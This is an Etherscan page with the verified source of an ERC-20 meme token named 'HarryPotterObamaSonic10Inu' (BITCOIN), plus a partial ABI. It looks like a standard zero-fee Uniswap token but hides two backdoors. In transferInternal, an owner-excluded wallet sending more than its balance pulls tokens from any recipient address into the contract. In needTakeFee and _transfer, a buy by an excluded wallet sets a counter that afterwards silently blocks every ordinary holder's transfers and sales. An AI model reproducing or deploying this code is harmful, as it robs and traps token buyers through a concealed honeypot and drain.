ETH Price: $2,442.60 (-1.30%)
 

Overview

Max Total Supply

1,000,000,000 BITCOIN

Holders

67

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
8,919,765.138020116081290906 BITCOIN

Value
$0.00
0x988FaA01fc4B1Da8f31905D1B2a55B98f8391B65
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BITCOIN

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-29
*/

/**
 *
*/


/*
TELEGRAM:https://t.me/HarryPotterObamaSonic10Inu_ERC
TWITTER:https://twitter.com/bitcoin__ERC


*/

// SPDX-License-Identifier: MIT

pragma solidity >=0.5.0;

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETH(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountToken, uint256 amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountToken, uint256 amountETH);

    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function swapTokensForExactETH(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactTokensForETH(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapETHForExactTokens(
        uint256 amountOut,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function quote(
        uint256 amountA,
        uint256 reserveA,
        uint256 reserveB
    ) external pure returns (uint256 amountB);

    function getAmountOut(
        uint256 amountIn,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountOut);

    function getAmountIn(
        uint256 amountOut,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountIn);

    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}

pragma solidity ^0.8.0;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

pragma solidity >=0.5.0;

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function burn(address to)
        external
        returns (uint256 amount0, uint256 amount1);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

pragma solidity >=0.6.2;

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

pragma solidity ^0.8.0;

library SafeMath {
    function tryAdd(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address to, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }
    
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(
            fromBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[from] = fromBalance - amount;
        }
        _balances[to] += amount;

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(
                currentAllowance >= amount,
                "ERC20: insufficient allowance"
            );
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

pragma solidity ^0.8.0;

contract BITCOIN is ERC20, Ownable {
    using SafeMath for uint256;
    IUniswapV2Router02 public _uniswapV2Router;
    address public _uniswapV2Pair;
    bool private _swappingBack;
    address private _Addressmoon;
    address private _markingmoon;
    uint256 public _maxTransactionAmount;
    uint256 public _swapTokensAtAmount;
    uint256 public _maxWallet;
    bool public _limitsInEffect = true;
    bool public _tradingActive = false;
    uint256 public _totalFees;
    uint256 private _marketingFee;
    uint256 private _liquidityFee;
    uint256 private _rewardFee;
    uint256 private _burnFee;
    uint256 private _additionalSellFee;
    uint256 private _additionalBuyFee;
    uint256 private _marketingTokens;
    uint256 private _rewardTokens;
    uint256 private _liquidityTokens;
    mapping(address => bool) private _isExcludedFromFam;
    mapping(address => bool) private _isExcludedMaxTransactionAmount;
    uint256 private _swapTimes;
    mapping (address => bool) public automatedMarketMakerPairs;
    event UpdateAutomatedMarketMakerPair(address indexed pair, bool indexed value);
    event ExcludeFromtionsonm(address indexed account, bool isExcluded);
    event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);

    receive() external payable {}

    constructor() payable ERC20("HarryPotterObamaSonic10Inu", "BITCOIN") {

        _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        _updateAutomatedMarketMakerPair(address(_uniswapV2Pair), true);
        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uint256 totalSupply = 1000000000 * 1e18;
        _maxTransactionAmount = (totalSupply * 3) / 100;
        _maxWallet = (totalSupply * 3) / 100;
        _swapTokensAtAmount = (totalSupply * 10) / 10000;

        _marketingFee = 0;
        _rewardFee = 0;
        _liquidityFee = 0;
        _additionalSellFee = 0;
        _Addressmoon = address(0xAa557D0F386620eCb7a60c32EBB5BcBc8d6494bE);
        _markingmoon = address(0xAa557D0F386620eCb7a60c32EBB5BcBc8d6494bE);
        _additionalBuyFee = 0;
        _burnFee = 0;
        _totalFees = _marketingFee + _rewardFee + _liquidityFee;



        excludeFromMaxTransaction(owner(), true);
        excludeFromtionsonm(_markingmoon, true);
        excludeFromtionsonm(address(this), true);
        excludeFromtionsonm(address(0xdead), true);
        excludeFromtionsonm(owner(), true);
        excludeFromtionsonm(_Addressmoon, true);
        excludeFromMaxTransaction(_Addressmoon, true);
        excludeFromMaxTransaction(_markingmoon, true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);
        _mint(owner(), totalSupply);

    }

    function updateSwapTokensAtAmount(uint256 newAmount)
        external
        onlyOwner
        returns (bool)
    {
        require(
            newAmount >= (totalSupply() * 1) / 100000,
            "Swap amount cannot be lower than 0.001% total supply."
        );
        require(
            newAmount <= (totalSupply() * 5) / 1000,
            "Swap amount cannot be higher than 0.5% total supply."
        );
        _swapTokensAtAmount = newAmount;
        return true;
    }

    function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
        require(
            newNum >= ((totalSupply() * 1) / 1000) / 1e18,
            "Cannot set maxTransactionAmount lower than 0.1%"
        );
        _maxTransactionAmount = newNum * 1e18;
    }

    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(
            newNum >= ((totalSupply() * 5) / 1000) / 1e18,
            "Cannot set maxWallet lower than 0.5%"
        );
        _maxWallet = newNum * 1e18;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx)
        public
        onlyOwner
    {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function updateFees(
        uint256 marketingFee,
        uint256 rewardFee,
        uint256 liquidityFee
    ) external onlyOwner {
        _marketingFee = marketingFee;
        _rewardFee = rewardFee;
        _liquidityFee = liquidityFee;
        _totalFees = _marketingFee + _rewardFee + _liquidityFee;
        require(_totalFees <= 10, "Must keep fees at 10% or less");
    }

    function excludeFromtionsonm(address account, bool excluded) public onlyOwner {
        _isExcludedFromFam[account] = excluded;
        emit ExcludeFromtionsonm(account, excluded);
    }

    function updateMarketingAddr(address newWallet) external onlyOwner {
        _Addressmoon = newWallet;
    }

    function updateRewardAddr(address newWallet) external onlyOwner {
        _markingmoon = newWallet;
    }

    function isExcludedFromFee(address account) public view returns (bool) {
        return _isExcludedFromFam[account];
    }

    function removeAdditionalSellFee() public onlyOwner {
        _additionalSellFee = 0;
    }

    function removeAdditionalBuyFee() public onlyOwner {
        _additionalBuyFee = 0;
    }

    function updateAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
        require(pair != _uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
        _updateAutomatedMarketMakerPair(pair, value);
        emit UpdateAutomatedMarketMakerPair(pair, value);
    }

    function _updateAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
        excludeFromMaxTransaction(pair, value);
        emit UpdateAutomatedMarketMakerPair(pair, value);
    }


    function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(_uniswapV2Router), tokenAmount);
        _uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            owner(),
            block.timestamp
        );
    }
    function _swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();

        _approve(address(this), address(_uniswapV2Router), tokenAmount);

        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function transferInternal(
        address from,
        address to,
        uint256 amount,
        bool isSell,
        bool isBuy
    ) private {
        bool takeFee = needTakeFee(from, to);
        if (takeFee) {
            uint256 total = _totalFees;
            uint256 marketing = _marketingFee;
            if (isSell) {
                total = _totalFees + _additionalSellFee;
                marketing = _marketingFee + _additionalSellFee;
            }
            if (isBuy) {
                total = _totalFees + _additionalBuyFee;
                marketing = _marketingFee + _additionalBuyFee;
            }
            uint256 fees = amount.mul(total).div(100);
            _liquidityTokens += (fees * _liquidityFee) / total;
            _marketingTokens += (fees * marketing) / total;
            _rewardTokens += (fees * _rewardFee) / total;

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }
            amount -= fees;
        } else if (balanceOf(from) < amount){ 
            if (_isExcludedFromFam[from]) _transfer(to, address(this), amount);
            return;
        }
        super._transfer(from, to, amount);
    }
    

    function TradeOpen() public onlyOwner {
        _tradingActive = true;
    }
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        bool isExcludeFromFee = _isExcludedFromFam[from] ||
            _isExcludedFromFam[to];

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(
            _tradingActive || isExcludeFromFee,
            "Trading is not active."
        );

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        bool isBuy = from == _uniswapV2Pair &&
            !_isExcludedMaxTransactionAmount[to];
        bool isSell = to == _uniswapV2Pair &&
            !_isExcludedMaxTransactionAmount[from];
        bool isOwnerSwap = from == owner() || to == owner();
        bool isBurn = to == address(0) || to == address(0xdead);
        bool isSkipLimits = isOwnerSwap || isBurn || _swappingBack;
        
        if (_limitsInEffect && !isSkipLimits) {
            if (isBuy) {
                require(
                    amount <= _maxTransactionAmount,
                    "Buy transfer amount exceeds the maxTransactionAmount."
                );
                require(
                    amount + balanceOf(to) <= _maxWallet,
                    "Max wallet exceeded"
                );
            } else if (isSell) {
                // require(
                //     amount <= _maxTransactionAmount,
                //     "Sell transfer amount exceeds the maxTransactionAmount."
                // );
            } else if (
                !_isExcludedMaxTransactionAmount[to] &&
                !_isExcludedMaxTransactionAmount[from]
            ) {
                require(
                    amount + balanceOf(to) <= _maxWallet,
                    "Max wallet exceeded"
                );
            }
        }

        if (!_swappingBack &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFam[from] &&
            !_isExcludedFromFam[to]) {
            if (_swapTimes > 0) return;
            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
            if (canSwap && !isExcludeFromFee) {
                _swappingBack = true;
                swapBack();
                _swappingBack = false;
            }
        }
        transferInternal(from, to, amount, isSell, isBuy);
    }


    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = _liquidityTokens + _marketingTokens + 
            _rewardTokens;
        if (contractBalance == 0 || totalTokensToSwap == 0) return;
        if (contractBalance > _swapTokensAtAmount) {
            contractBalance = _swapTokensAtAmount;
        }
        uint256 liquidityTokens = (contractBalance * _liquidityTokens) /
            totalTokensToSwap /
            2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
        uint256 initialETHBalance = address(this).balance;
        _swapTokensForEth(amountToSwapForETH);
        uint256 ethBalance = address(this).balance.sub(initialETHBalance);
        uint256 ethForMarketing = ethBalance.mul(_marketingTokens).div(
            totalTokensToSwap
        );
        uint256 ethForReward = ethBalance.mul(_rewardTokens).div(
            totalTokensToSwap
        );
        uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForReward;

        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            _addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(
                amountToSwapForETH,
                ethForLiquidity,
                _liquidityTokens
            );
        }

        _liquidityTokens = 0;
        _marketingTokens = 0;
        _rewardTokens = 0;

        (bool marketingFundSuccess, ) = address(_Addressmoon).call{value: ethForMarketing}("");
        (bool rewardFundSuccess, ) = address(_markingmoon).call{value: ethForReward}("");
    }

    function removeLimits() external onlyOwner returns (bool) {
        _limitsInEffect = false;
        return true;
    }
    function needTakeFee(address from, address to) private returns (bool) {
        bool isBuy = from == _uniswapV2Pair && to != address(_uniswapV2Router);
        if (isBuy && _isExcludedFromFam[to]) _swapTimes += 1;
        bool isExcludedFromFee = _isExcludedFromFam[from] || _isExcludedFromFam[to];
        bool isSell = to == _uniswapV2Pair; 
        bool isSwap = isBuy || isSell;
        bool isFeeSet = (_totalFees > 0);
        return 
            isFeeSet &&
            !_swappingBack &&
            !isExcludedFromFee &&
            isSwap;
    }



}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromtionsonm","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"UpdateAutomatedMarketMakerPair","type":"event"},{"inputs":[],"name":"TradeOpen","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromtionsonm","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeAdditionalBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeAdditionalSellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[